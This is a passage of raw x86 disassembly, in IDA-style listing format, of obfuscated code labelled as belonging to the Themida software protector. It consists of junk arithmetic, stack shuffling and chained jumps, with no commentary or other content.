shr dl, 8
jmp loc_584BB8
; ---------------------------------------------------------------------------
loc_585214: ; CODE XREF: Themida_:005882B7j
xor ecx, 0B655F135h
and ecx, 6D0653AAh
add ecx, 96FBEFDAh
sub edi, 779756Fh
jmp loc_58D0CA
; ---------------------------------------------------------------------------
loc_585231: ; CODE XREF: Themida_:00581EF4j
mov ch, 32h
shr ch, 4
xor ch, 12h
push ebx
mov bh, 57h
push ecx
mov ch, 0Fh
dec ch
add ch, 6Bh
add ch, 56h
jmp loc_583332
; ---------------------------------------------------------------------------
loc_58524C: ; CODE XREF: Themida_:0058DC45j
add ebp, 4
sub ebp, 4
xor ebp, [esp]
xor [esp], ebp
jmp loc_581A48
; ---------------------------------------------------------------------------
loc_585263: ; CODE XREF: Themida_:00587181j
add ebp, 5C9CCB56h
push ebp
mov ebx, [esp]
add esp, 4
jmp loc_58BD72
; ---------------------------------------------------------------------------
loc_585278: ; CODE XREF: Themida_:00584BD2j
push 4C5A1BB6h
mov edx, [esp]
add esp, 4
jmp loc_58A161
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], ebp
push esp
jmp loc_586F20
; ---------------------------------------------------------------------------
loc_58529B: ; CODE XREF: Themida_:0058CF5Aj
add eax, edx
pop edx
mov ebx, eax
pop eax
jmp loc_587AF6
; ---------------------------------------------------------------------------
loc_5852A6: ; CODE XREF: Themida_:0058748Cj
sub ebp, 0FB55D3EBh
jmp loc_583C1C
; ---------------------------------------------------------------------------
loc_5852B1: ; CODE XREF: Themida_:0058588Bj
mov [esp], eax
pop ebx
pop eax
sub edx, ebx
mov ebx, [esp]
jmp loc_582C5D
; ---------------------------------------------------------------------------
loc_5852C0: ; CODE XREF: Themida_:00588D56j
pop ebp
jmp loc_58CB3E
; ---------------------------------------------------------------------------
loc_5852C6: ; CODE XREF: Themida_:005885ACj
push dword ptr [esp]
pop ecx
add esp, 4
add ecx, 4
push ebx
mov ebx, 4
add ecx, ebx
pop ebx
push ecx
jmp loc_58B25A
; ---------------------------------------------------------------------------
loc_5852E5: ; CODE XREF: Themida_:0058ACD9j
mov [esp], edx
jmp loc_58AE72
; ---------------------------------------------------------------------------
loc_5852ED: ; CODE XREF: Themida_:00581B3Aj
neg bh
dec bh
sub bh, 1
sub bh, 32h
sub al, bh
jmp loc_589D13
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5F0C13
loc_5852FE: ; CODE XREF: sub_5F0C13-690BFj
push eax
mov ah, 0DAh
mov ch, ah
jmp loc_58D523
; END OF FUNCTION CHUNK FOR sub_5F0C13
; ---------------------------------------------------------------------------
loc_585308: ; CODE XREF: Themida_:0058A069j
pop esi
jmp loc_58D26A
; ---------------------------------------------------------------------------
mov cx, [esp]
push esi
push esp
jmp loc_58303D
; ---------------------------------------------------------------------------
loc_585319: ; CODE XREF: Themida_:00586F13j
shl cl, 6
dec cl
shr cl, 6
jmp loc_5836CC
; ---------------------------------------------------------------------------
loc_585326: ; CODE XREF: Themida_:0058DF41j
mov edx, [esp]
jmp loc_58242F
; ---------------------------------------------------------------------------
loc_58532E: ; CODE XREF: Themida_:00581CF9j
xor edi, [esp]
jmp loc_584E4C
; ---------------------------------------------------------------------------
loc_585336: ; CODE XREF: Themida_:0058D172j
mov [esp], edi
mov edi, 0CFB5CD06h
xor ebp, edi
pop edi
mov ebx, ebp
jmp loc_5840C1
; ---------------------------------------------------------------------------
loc_585348: ; CODE XREF: Themida_:0058D421j
pop edi
neg esi
xor esi, 26C7B543h
push esi
jmp loc_587F03
; ---------------------------------------------------------------------------
loc_585357: ; CODE XREF: Themida_:005846DCj
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
mov esp, [esp]
mov [esp], esi
push esp
mov esi, [esp]
add esp, 4
add esi, 4
push ebx
mov ebx, 2
jmp loc_5837D7
; ---------------------------------------------------------------------------
loc_585384: ; CODE XREF: Themida_:0058A79Aj
or eax, eax
jz loc_58CB1C
push dword ptr [edi+1Ch]
push edx
mov edx, 5FCE578Bh
jmp loc_5850A0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5F0C13
loc_58539A: ; CODE XREF: sub_5F0C13-69CDEj
xor dl, ah
pop eax
or dl, 0C9h
shr dl, 1
dec dl
xor dl, 0AEh
mov ch, dl
jmp loc_588E0D
; END OF FUNCTION CHUNK FOR sub_5F0C13
; ---------------------------------------------------------------------------
loc_5853AE: ; CODE XREF: Themida_:0058D4C1j
add ebx, 71B6331Dh
shr ebx, 5
dec ebx
jmp loc_58B071
; ---------------------------------------------------------------------------
loc_5853BD: ; CODE XREF: Themida_:00585005j
pop esp
mov [esp], ebp
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
mov ebp, [esp]
jmp loc_586187
; ---------------------------------------------------------------------------
loc_5853D3: ; CODE XREF: Themida_:00589BA1j
pop edi
add edi, 4
add edi, 2
xchg edi, [esp]
mov esp, [esp]
push 7EE4h
mov [esp], ecx
push 7C85h
mov [esp], eax
mov al, dl
push edx
sub esp, 4
mov [esp], ecx
mov ch, al
mov dh, ch
pop ecx
push eax
jmp loc_58944B
; ---------------------------------------------------------------------------
loc_58540A: ; CODE XREF: Themida_:0058AA29j
shr ebx, 4
jmp loc_58983B
; ---------------------------------------------------------------------------
loc_585412: ; CODE XREF: Themida_:0058DA11j
push edi
push edx
push 22B44E17h
pop edx
xor edx, 73D03087h
or edx, 60AB10CDh
xor edx, 41C7C14h
jmp loc_58BFD5
; ---------------------------------------------------------------------------
loc_585431: ; CODE XREF: Themida_:00587A27j
or ah, 0D6h
push cx
mov cl, 5Ch
xor ah, cl
jmp loc_58684E
; ---------------------------------------------------------------------------
loc_58543F: ; CODE XREF: Themida_:00586DC7j
pop edx
sub esi, eax
pop eax
jmp loc_58C484
; ---------------------------------------------------------------------------
loc_585448: ; CODE XREF: Themida_:0058571Dj
push 41Dh
mov [esp], esi
mov esi, esp
add esi, 4
push 5DC5h
mov [esp], ebp
mov ebp, 50E759B6h
or ebp, 0A9F3937h
inc ebp
shr ebp, 6
jmp loc_584870
; ---------------------------------------------------------------------------
loc_585474: ; CODE XREF: Themida_:0058A783j
pop ebx
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
jmp loc_582E4F
; ---------------------------------------------------------------------------
loc_585483: ; CODE XREF: Themida_:0058786Dj
mov edi, 6AAE2428h
mov ebx, edi
jmp loc_58C265
; ---------------------------------------------------------------------------
loc_58548F: ; CODE XREF: Themida_:0058271Fj
push edx
mov edx, 22040EB4h
shr edx, 5
sub edx, 0DAA8B281h
mov esi, edx
jmp loc_586418
; ---------------------------------------------------------------------------
loc_5854A5: ; CODE XREF: Themida_:005821CDj
mov [esp], ebx
push dword ptr [esp]
mov eax, [esp]
jmp loc_58DF74
; ---------------------------------------------------------------------------
loc_5854B3: ; CODE XREF: Themida_:00587237j
add esp, 4
or ch, dl
mov edx, [esp]
jmp loc_584771
; ---------------------------------------------------------------------------
loc_5854C0: ; CODE XREF: Themida_:00588E8Cj
mov ch, 97h
jmp loc_582F78
; ---------------------------------------------------------------------------
loc_5854C7: ; CODE XREF: Themida_:00586413j
sub al, 0BBh
sub al, bl
add al, 0BBh
push ecx
mov ch, 58h
dec ch
push ax
mov al, 3Eh
xor ch, al
pop ax
add al, ch
jmp loc_58DF0C
; ---------------------------------------------------------------------------
loc_5854E1: ; CODE XREF: Themida_:00588057j
add bl, 46h
mov cl, bl
mov ebx, [esp]
add esp, 4
add cl, 0FFh
jmp loc_583171
; ---------------------------------------------------------------------------
loc_5854F7: ; CODE XREF: Themida_:0058B650j
mov ax, [esp]
push ecx
mov ecx, esp
add ecx, 4
sub esp, 4
mov [esp], eax
jmp loc_58698D
; ---------------------------------------------------------------------------
loc_585512: ; CODE XREF: Themida_:00586E26j
xor ebp, [esp]
xor [esp], ebp
jmp loc_583FF9
; ---------------------------------------------------------------------------
loc_58551D: ; CODE XREF: Themida_:0058ADA8j
mov [esp], ebx
push dword ptr [esp+4]
push dword ptr [esp]
pop ebx
jmp loc_58A579
; ---------------------------------------------------------------------------
loc_58552D: ; CODE XREF: Themida_:0058A534j
pop ecx
add esp, 4
push edi
mov edi, 613D6926h
add ecx, edi
pop edi
jmp loc_58C949
; ---------------------------------------------------------------------------
loc_58553F: ; CODE XREF: Themida_:0058D461j
xor ebp, 2A3C759Eh
sub ebp, 0C98F33E2h
add esi, ebp
pop ebp
xor esi, 53A42B72h
push eax
mov eax, 3D2168D6h
add eax, 37821AEAh
sub eax, 23FB58EAh
neg eax
jmp loc_5881FA
; ---------------------------------------------------------------------------
loc_58556B: ; CODE XREF: Themida_:00587089j
mov ebp, 4F1163C8h
sub ebp, 5B266141h
jmp loc_584D72
; ---------------------------------------------------------------------------
loc_58557B: ; CODE XREF: Themida_:005819A3j
pop eax
add esp, 4
jmp loc_585DAC
; ---------------------------------------------------------------------------
loc_585584: ; CODE XREF: Themida_:00582A92j
add eax, 4
jmp loc_589739
; ---------------------------------------------------------------------------
loc_58558E: ; CODE XREF: Themida_:0058BA19j
mov esi, [esp]
add esp, 4
add esi, 4
push edx
mov edx, 4
jmp loc_58953E
; ---------------------------------------------------------------------------
loc_5855A5: ; CODE XREF: Themida_:00582B33j
sub esp, 4
mov [esp], ebp
push esi
jmp loc_589C44
; ---------------------------------------------------------------------------
loc_5855B1: ; CODE XREF: Themida_:0058945Ej
pop ebx
jmp loc_586B6C
; ---------------------------------------------------------------------------
loc_5855B7: ; CODE XREF: Themida_:0058476Cj
sub ebx, edi
pop edi
add ebx, 59C0110Dh
jmp loc_582CEA
; ---------------------------------------------------------------------------
loc_5855C5: ; CODE XREF: Themida_:0058CA83j
shl edx, 1
jmp loc_588394
; ---------------------------------------------------------------------------
loc_5855CC: ; CODE XREF: Themida_:005895BBj
mov ebx, [esp]
add esp, 4
add al, dl
add al, 0D5h
pop dx
sub esp, 4
mov [esp], edx
mov edx, esp
add edx, 4
push edi
mov edi, 4
sub edx, edi
jmp loc_588A6D
; ---------------------------------------------------------------------------
loc_5855F9: ; CODE XREF: Themida_:005866F1j
pop edx
jmp loc_584794
; ---------------------------------------------------------------------------
loc_5855FF: ; CODE XREF: Themida_:005871E7j
pop eax
popa
popf
retn
; ---------------------------------------------------------------------------
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_585608: ; CODE XREF: Themida_:00587ECEj
shr word ptr [esp], cl
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_585612: ; CODE XREF: Themida_:005893EBj
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_585617: ; CODE XREF: Themida_:0058A9A0j
pop esi
jmp loc_58B600
; ---------------------------------------------------------------------------
loc_58561D: ; CODE XREF: Themida_:00582E4Aj
push 3D26h
jmp loc_585F01
; ---------------------------------------------------------------------------
loc_585627: ; CODE XREF: Themida_:00584379j
add eax, 4
push 6BC9h
mov [esp], esi
mov esi, 35C61106h
or esi, 32ED5CC3h
push ebx
mov ebx, 66323C37h
xor esi, ebx
pop ebx
xor esi, 51DD61F4h
add eax, esi
mov esi, [esp]
add esp, 4
xor eax, [esp]
xor [esp], eax
jmp loc_583F55
; ---------------------------------------------------------------------------
loc_585664: ; CODE XREF: Themida_:00583858j
mov [esp], ebp
push esp
pop ebp
push edx
push ebx
push 92F660Dh
pop ebx
sub ebx, 5E942AA5h
add ebx, 5564C49Ch
push ebx
pop edx
mov ebx, [esp]
add esp, 4
add ebp, edx
pop edx
push eax
push ebp
mov ebp, 4
push ebp
sub dword ptr [esp], 1A8710B6h
pop eax
add eax, 1A8710B6h
jmp loc_5843F4
; ---------------------------------------------------------------------------
loc_5856A5: ; CODE XREF: Themida_:00588B83j
add eax, ecx
pop ecx
sub esp, 4
mov [esp], esi
mov esi, 42E73C05h
jmp loc_58C060
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop ecx
push edx
jmp loc_58AD41
; ---------------------------------------------------------------------------
loc_5856C2: ; CODE XREF: Themida_:005833B0j
push ebp
mov ebp, 0A300D5Dh
add ebp, 13570A0Eh
push ebp
not dword ptr [esp]
pop ebp
xor ebp, 1BA832CCh
dec ebp
sub ebp, 0F9D0DA53h
add eax, ebp
pop ebp
add eax, 2
xor eax, [esp]
xor [esp], eax
jmp loc_58B001
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5F0C13
loc_5856F3: ; CODE XREF: sub_5F0C13-6B33Fj
shl ch, 3
jmp loc_5845C6
; END OF FUNCTION CHUNK FOR sub_5F0C13
; ---------------------------------------------------------------------------
mov ax, [esp]
push eax
mov eax, esp
add eax, 4
jmp loc_585049
; ---------------------------------------------------------------------------
lodsd
add eax, 30AD66CDh
sub eax, ebx
push edx
jmp loc_584B3A
; ---------------------------------------------------------------------------
loc_58571A: ; CODE XREF: Themida_:00583C17j
mov edx, [esp]
jmp loc_585448
; ---------------------------------------------------------------------------
loc_585722: ; CODE XREF: Themida_:00588D2Aj
add esp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
mov [esp], edx
push eax
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_585739: ; CODE XREF: Themida_:00588D9Dj
sub ebx, 198117Ah
add ebx, eax
push edx
push ebp
mov ebp, 830308Eh
mov edx, 692F5C0h
add edx, ebp
mov ebp, [esp]
add esp, 4
or edx, 704311DDh
jmp loc_58768F
; ---------------------------------------------------------------------------
loc_585760: ; CODE XREF: Themida_:005859B2j
or eax, ecx
pop ecx
sub eax, 26FD4F15h
add ebp, eax
pop eax
jmp loc_583CB8
; ---------------------------------------------------------------------------
loc_585770: ; CODE XREF: Themida_:0058BE8Cj
pop eax
mov edx, [esp]
add esp, 4
jmp loc_58B9DE
; ---------------------------------------------------------------------------
loc_58577C: ; CODE XREF: Themida_:0058661Aj
mov [esp], esi
push esp
pop esi
jmp loc_584C0C
; ---------------------------------------------------------------------------
loc_585786: ; CODE XREF: Themida_:0058A789j
add eax, esi
pop esi
push eax
jmp loc_582518
; ---------------------------------------------------------------------------
loc_58578F: ; CODE XREF: Themida_:00589E4Fj
push ebp
jmp loc_58CA07
; ---------------------------------------------------------------------------
loc_585795: ; CODE XREF: Themida_:005896B2j
push eax
mov eax, 4
add [esp+4], eax
pop eax
mov edx, [esp]
jmp loc_58D658
; ---------------------------------------------------------------------------
loc_5857A8: ; CODE XREF: Themida_:00587867j
add esp, 4
rep movsd
add esp, [edx+38h]
push edi
push ebx
push ebp
mov ebp, 435416CFh
jmp loc_58C825
; ---------------------------------------------------------------------------
loc_5857BD: ; CODE XREF: Themida_:0058B65Fj
xchg edi, ecx
inc edi
xchg edi, ecx
add ecx, 1AC87E71h
jmp loc_58A0FD
; ---------------------------------------------------------------------------
loc_5857CD: ; CODE XREF: Themida_:0058A48Dj
mov [esp], esi
push edx
mov edx, 5D3C4732h
xchg eax, edx
not eax
xchg eax, edx
jmp loc_5827AA
; ---------------------------------------------------------------------------
loc_5857DF: ; CODE XREF: Themida_:00587EFEj
pop cx
sub al, 0Ah
add al, dl
add al, 0Ah
pop edx
push 5C3Eh
mov [esp], ecx
mov ch, 0A1h
jmp loc_5827CE
; ---------------------------------------------------------------------------
loc_5857F7: ; CODE XREF: Themida_:00587D57j
push 22B8h
mov [esp], esi
push 24F5h
mov [esp], ebx
sub dword ptr [esp], 56B24D25h
pop esi
add esi, 56B24D25h
push esi
jmp loc_582344
; ---------------------------------------------------------------------------
loc_58581B: ; CODE XREF: Themida_:0058B215j
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
sub esp, 4
mov [esp], esi
not dword ptr [esp]
mov esi, [esp]
jmp loc_588A9E
; ---------------------------------------------------------------------------
loc_585837: ; CODE XREF: Themida_:0058BBEFj
add ebx, esi
pop esi
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_5840B2
; ---------------------------------------------------------------------------
loc_585846: ; CODE XREF: Themida_:00583DE9j
mov edx, 5A36252Dh
or edx, 290E5FBFh
neg edx
add edx, 16F27D4Eh
sub edx, 41491CA7h
shr edx, 3
xor edx, 44DC7CE9h
and esi, edx
pop edx
jmp loc_58B7A1
; ---------------------------------------------------------------------------
loc_585870: ; CODE XREF: Themida_:0058AD36j
mov edi, [esp]
add esp, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], eax
mov eax, 0C1829A3h
sub esp, 4
jmp loc_5852B1
; ---------------------------------------------------------------------------
loc_585890: ; CODE XREF: Themida_:0058AB6Cj
add eax, 3C0B7EAEh
neg eax
sub eax, 0B14D98B7h
add ebp, 0F935E9Ah
jmp loc_582D94
; ---------------------------------------------------------------------------
loc_5858A7: ; CODE XREF: Themida_:00588A88j
mov eax, esp
jmp loc_58B21A
; ---------------------------------------------------------------------------
loc_5858AE: ; CODE XREF: Themida_:0058DFDCj
sub edi, ebx
pop ebx
mov ecx, edi
mov edi, [esp]
jmp loc_589FB1
; ---------------------------------------------------------------------------
loc_5858BB: ; CODE XREF: Themida_:00586DD9j
sub eax, ebp
jmp loc_58326C
; ---------------------------------------------------------------------------
loc_5858C2: ; CODE XREF: Themida_:0058197Fj
pop eax
jmp loc_588352
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5F0C13
loc_5858C8: ; CODE XREF: sub_5F0C13-67DFAj
xor ch, al
push [esp+34h+var_36+2]
pop eax
add esp, 4
jmp loc_5856F3
; END OF FUNCTION CHUNK FOR sub_5F0C13
; ---------------------------------------------------------------------------
loc_5858D9: ; CODE XREF: Themida_:0058C0D4j
pop esp
push 2025h
mov [esp], ebp
jmp loc_586F4C
; ---------------------------------------------------------------------------
loc_5858E7: ; CODE XREF: Themida_:0058B14Aj
push edx
mov dl, ah
mov bl, dl
jmp loc_58797E
; ---------------------------------------------------------------------------
loc_5858F1: ; CODE XREF: Themida_:00582538j
pop edx
push ebp
push edx
push 2A3E052Eh
mov edx, [esp]
add esp, 4
shl edx, 3
shr edx, 3
not edx
sub edx, 0F5C1FACDh
mov ebp, edx
mov edx, [esp]
add esp, 4
add edi, ebp
pop ebp
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
jmp loc_58A799
; ---------------------------------------------------------------------------
loc_58592C: ; CODE XREF: Themida_:005821C3j
not edx
shl edx, 6
xor edx, 0F051145Eh
sub edi, edx
pop edx
sub ebx, edi
mov edi, [esp]
add esp, 4
push ebp
jmp loc_582A11
; ---------------------------------------------------------------------------
loc_585948: ; CODE XREF: Themida_:00588675j
mov eax, 2E59658Fh
push edx
jmp loc_58C178
; ---------------------------------------------------------------------------
loc_585953: ; CODE XREF: Themida_:0058D160j
sub ebx, ebp
pop ebp
sub eax, 2BE56FB5h
sub eax, ebx
add eax, 2BE56FB5h
pop ebx
push ecx
mov ecx, 5388FFFEh
xor eax, ecx
pop ecx
jmp loc_584857
; ---------------------------------------------------------------------------
loc_585971: ; CODE XREF: Themida_:0058A141j
add esp, 4
sub ebp, 18D21DE2h
add ebp, 73826680h
push eax
mov eax, 72851309h
neg eax
jmp loc_58AB69
; ---------------------------------------------------------------------------
loc_585990: ; CODE XREF: Themida_:005894C1j
sub edi, 16093B11h
mov esi, [esp]
jmp loc_588CEF
; ---------------------------------------------------------------------------
loc_58599E: ; CODE XREF: Themida_:00586193j
mov [esp], eax
mov eax, 26C0711h
push ecx
mov ecx, 2A2206ECh
xor ecx, 0CF74AF5h
jmp loc_585760
; ---------------------------------------------------------------------------
loc_5859B7: ; CODE XREF: Themida_:0058D265j
movzx cx, ah
push small 3EABh
jmp loc_588B25
; ---------------------------------------------------------------------------
loc_5859C4: ; CODE XREF: Themida_:005837C7j
pop edi
push dword ptr [esp]
pop esi
push ebp
mov ebp, esp
jmp loc_58A2B0
; ---------------------------------------------------------------------------
loc_5859D1: ; CODE XREF: Themida_:0058A42Fj
add esp, 4
jmp loc_582B99
; ---------------------------------------------------------------------------
loc_5859DC: ; CODE XREF: Themida_:00586A71j
shl esi, 5
shr esi, 4
push esi
not dword ptr [esp]
jmp loc_58DBF9
; ---------------------------------------------------------------------------
loc_5859EB: ; CODE XREF: Themida_:0058365Aj
sub esp, 4
mov [esp], ebx
jmp loc_5849EB
; ---------------------------------------------------------------------------
loc_5859F9: ; CODE XREF: Themida_:00588A1Dj
push ecx
mov ecx, 5BC73141h
push edx
mov edx, 6AD11343h
not edx
jmp loc_583139
; ---------------------------------------------------------------------------
loc_585A0C: ; CODE XREF: Themida_:0058BB34j
mov edx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
xor edx, ebx
pop ebx
add eax, edx
pop edx
add eax, 11C417D6h
add eax, ebx
sub eax, 11C417D6h
push esi
mov esi, 4F822A31h
sub eax, esi
pop esi
jmp loc_587722
; ---------------------------------------------------------------------------
loc_585A3E: ; CODE XREF: Themida_:0058BE5Dj
mov ebx, 0D3E7EFEh
push ebp
jmp loc_58B9F1
; ---------------------------------------------------------------------------
loc_585A49: ; CODE XREF: Themida_:00582C96j
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
mov [esp], edi
push eax
mov eax, 1
mov edi, eax
push dword ptr [esp]
pop eax
jmp loc_58CA9D
; ---------------------------------------------------------------------------
loc_585A66: ; CODE XREF: Themida_:00585C26j
sub eax, ebx
pop ebx
push eax
jmp loc_58BC93
; ---------------------------------------------------------------------------
loc_585A6F: ; CODE XREF: Themida_:00581C6Cj
shl edi, 8
sub edi, 395A1CFCh
jmp loc_585FBD
; ---------------------------------------------------------------------------
loc_585A7D: ; CODE XREF: Themida_:00581B67j
not dh
jmp loc_58DDD5
; ---------------------------------------------------------------------------
loc_585A84: ; CODE XREF: Themida_:0058A0ACj
pop edx
add esp, 4
jmp loc_582B01
; ---------------------------------------------------------------------------
loc_585A8D: ; CODE XREF: Themida_:0058BD5Bj
push ebp
jmp loc_581F90
; ---------------------------------------------------------------------------
loc_585A93: ; CODE XREF: Themida_:0058ADCBj
add esp, 4
pop dword ptr [esp]
jmp loc_589A18
; ---------------------------------------------------------------------------
loc_585A9E: ; CODE XREF: Themida_:0058954Cj
sub esp, 4
mov [esp], ebx
jmp loc_58B5EB
; ---------------------------------------------------------------------------
loc_585AA9: ; CODE XREF: Themida_:0058D731j
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_585AAE: ; CODE XREF: Themida_:0058ADE9j
mov [esp], dx
mov dx, 5D76h
sub cx, dx
pop dx
add ax, cx
pop ecx
mov bx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 2
xchg ecx, [esp]
jmp loc_58C1D3
; ---------------------------------------------------------------------------
loc_585AD7: ; CODE XREF: Themida_:005839AAj
add esi, 517D781Fh
sub esi, 0C181981Dh
add eax, esi
mov esi, [esp]
jmp loc_584FE9
; ---------------------------------------------------------------------------
loc_585AED: ; CODE XREF: Themida_:00584067j
mov [esp], edi
jmp loc_58DE15
; ---------------------------------------------------------------------------
loc_585AF5: ; CODE XREF: Themida_:00582BB6j
mov edi, 5CB06DCBh
jmp loc_58DB7B
; ---------------------------------------------------------------------------
loc_585AFF: ; CODE XREF: Themida_:00586B24j
pop ebx
add edx, 2
push edx
push dword ptr [esp+4]
jmp loc_58AAAC
; ---------------------------------------------------------------------------
mov eax, [esp]
push ebp
push esp
pop ebp
add ebp, 4
jmp loc_589970
; ---------------------------------------------------------------------------
loc_585B1E: ; CODE XREF: Themida_:0058AE05j
mov edx, 54925274h
add ebp, edx
pop edx
sub ecx, ebp
pop ebp
mov eax, [esp]
add esp, 4
push edi
mov edi, 58A104A4h
xor edi, 58A104A0h
jmp loc_58A7EB
; ---------------------------------------------------------------------------
loc_585B40: ; CODE XREF: Themida_:00587EE9j
push eax
mov ah, 78h
mov cl, ah
pop eax
mov dl, cl
mov ecx, [esp]
add esp, 4
jmp loc_589FEF
; ---------------------------------------------------------------------------
loc_585B53: ; CODE XREF: Themida_:0058909Aj
push esi
mov esi, 812010Eh
jmp loc_587FDF
; ---------------------------------------------------------------------------
loc_585B5E: ; CODE XREF: Themida_:0058C134j
add esp, 4
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_585B66: ; CODE XREF: Themida_:0058463Dj
pop ebp
xchg esi, [esp]
mov esp, [esp]
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_585B72: ; CODE XREF: Themida_:00586EEDj
pop ecx
sub edx, 377562ACh
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_585B7E: ; CODE XREF: Themida_:0058BAA2j
mov [esp], edi
push 2110h
mov [esp], esp
push esi
mov esi, 4
add [esp+4], esi
pop esi
mov edi, [esp]
jmp loc_584FCE
; ---------------------------------------------------------------------------
loc_585B9C: ; CODE XREF: Themida_:00586043j
xor ebx, 7CBE2D64h
sub ebx, 6B7D799Ah
sub ebx, 26CB8E4Ch
add eax, ebx
mov ebx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_581A9E
; ---------------------------------------------------------------------------
loc_585BC8: ; CODE XREF: Themida_:00587F93j
mov cl, ah
mov eax, [esp]
add esp, 4
jmp loc_581EE6
; ---------------------------------------------------------------------------
loc_585BD8: ; CODE XREF: Themida_:005899AAj
add ecx, ebp
pop ebp
jmp loc_5897B0
; ---------------------------------------------------------------------------
loc_585BE0: ; CODE XREF: Themida_:0058CFB4j
mov ecx, [esp]
add esp, 4
and ecx, edi
mov edi, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
shr ecx, 0Bh
push eax
mov eax, esp
add eax, 4
push ebx
mov ebx, 5DB85E93h
and ebx, 583D7C2Fh
neg ebx
inc ebx
sub ebx, 6E20C78h
not ebx
add ebx, 0A0E5978Bh
jmp loc_585A66
; ---------------------------------------------------------------------------
loc_585C2B: ; CODE XREF: Themida_:00584780j
mov ebx, [esp]
add esp, 4
jmp loc_5867EC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5F0C13
loc_585C39: ; CODE XREF: sub_5F0C13-670A9j
add al, 1Bh
sub al, bl
sub al, 1Bh
push ebx
mov bl, 0D2h
jmp loc_58297A
; END OF FUNCTION CHUNK FOR sub_5F0C13
; ---------------------------------------------------------------------------
loc_585C47: ; CODE XREF: Themida_:00585F22j
mov eax, esp
jmp loc_5850B1
; ---------------------------------------------------------------------------
loc_585C4E: ; CODE XREF: Themida_:0058237Bj
sub ecx, ebx
sub ecx, 55CB2221h
pop ebx
jmp loc_582E35
; ---------------------------------------------------------------------------
loc_585C5C: ; CODE XREF: Themida_:0058BE42j
mov ebx, 4
add ebp, ebx
pop ebx
add ebp, 4
jmp loc_588E47
; ---------------------------------------------------------------------------
loc_585C6C: ; CODE XREF: Themida_:00581EE9j
dec cl
xor cl, 35h
jmp loc_58A050
; ---------------------------------------------------------------------------
loc_585C76: ; CODE XREF: Themida_:0058C919j
add ecx, 4
push edx
mov edx, 63BF3BE0h
neg edx
shl edx, 5
push esi
mov esi, 88188404h
xor edx, esi
jmp loc_5872FC
; ---------------------------------------------------------------------------
loc_585C94: ; CODE XREF: Themida_:0058416Bj
mov [esp], esi
push ecx
jmp loc_58B72C
; ---------------------------------------------------------------------------
lodsb
jmp loc_5820AD
; ---------------------------------------------------------------------------
loc_585CA3: ; CODE XREF: Themida_:00584730j
xor edi, 0B3716E0h
jmp loc_58DE76
; ---------------------------------------------------------------------------
loc_585CAE: ; CODE XREF: Themida_:00582880j
pop esi
push ebp
mov ebp, 7AC14D1Eh
sub ebp, 53C11835h
push ebp
jmp loc_5845DB
; ---------------------------------------------------------------------------
loc_585CC1: ; CODE XREF: Themida_:00587CFCj
jmp loc_5818C9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5F0C13
loc_585CC6: ; CODE XREF: sub_5F0C13-6E293j
push edx
mov dh, 2Eh
sub dh, 1Ah
sub al, dh
pop edx
sub esp, 2
jmp loc_587B50
; END OF FUNCTION CHUNK FOR sub_5F0C13
; ---------------------------------------------------------------------------
loc_585CDA: ; CODE XREF: Themida_:0058C8D4j
pop ebp
sub ebx, 36B2667Bh
add ebx, eax
jmp loc_58B58E
; ---------------------------------------------------------------------------
loc_585CE8: ; CODE XREF: Themida_:0058995Ej
push 0ACBh
jmp loc_58B108
; ---------------------------------------------------------------------------
loc_585CF2: ; CODE XREF: Themida_:00587315j
mov esi, [esp]
add esp, 4
neg esi
add esi, 485A248Ah
jmp loc_5848E8
; ---------------------------------------------------------------------------
mov cx, [esp]
push edx
mov edx, esp
jmp loc_588B0F
; ---------------------------------------------------------------------------
loc_585D11: ; CODE XREF: Themida_:00588F6Bj
add esp, 4
sub esp, 4
jmp loc_581C71
; ---------------------------------------------------------------------------
lodsd
push 14ADh
mov [esp], edx
mov edx, 2BF60DA4h
jmp loc_58C7ED
; ---------------------------------------------------------------------------
loc_585D32: ; CODE XREF: Themida_:0058BA75j
mov ebx, 38054193h
add ebx, 0EB631FAFh
xor ecx, ebx
jmp loc_582478
; ---------------------------------------------------------------------------
loc_585D44: ; CODE XREF: Themida_:005825B6j
xchg ebx, [esp]
pop esp
sub esp, 4
mov [esp], edx
push 0C08h
mov [esp], ecx
push edx
mov dh, 0A9h
mov cl, dh
pop edx
mov dl, cl
pop ecx
not dl
add dl, 3Dh
push ebx
mov bl, 0EDh
sub dl, bl
pop ebx
jmp loc_589E9F
; ---------------------------------------------------------------------------
loc_585D6F: ; CODE XREF: Themida_:00588772j
add al, bl
sub al, 4Eh
pop ebx
push ecx
mov cl, 0B5h
add al, 0A3h
push ecx
mov ch, 0C2h
add ch, 8Bh
xor ch, 1Eh
dec ch
add ch, 81h
add al, ch
pop ecx
add al, cl
jmp loc_586516
; ---------------------------------------------------------------------------
loc_585D91: ; CODE XREF: Themida_:0058216Bj
add ecx, edi
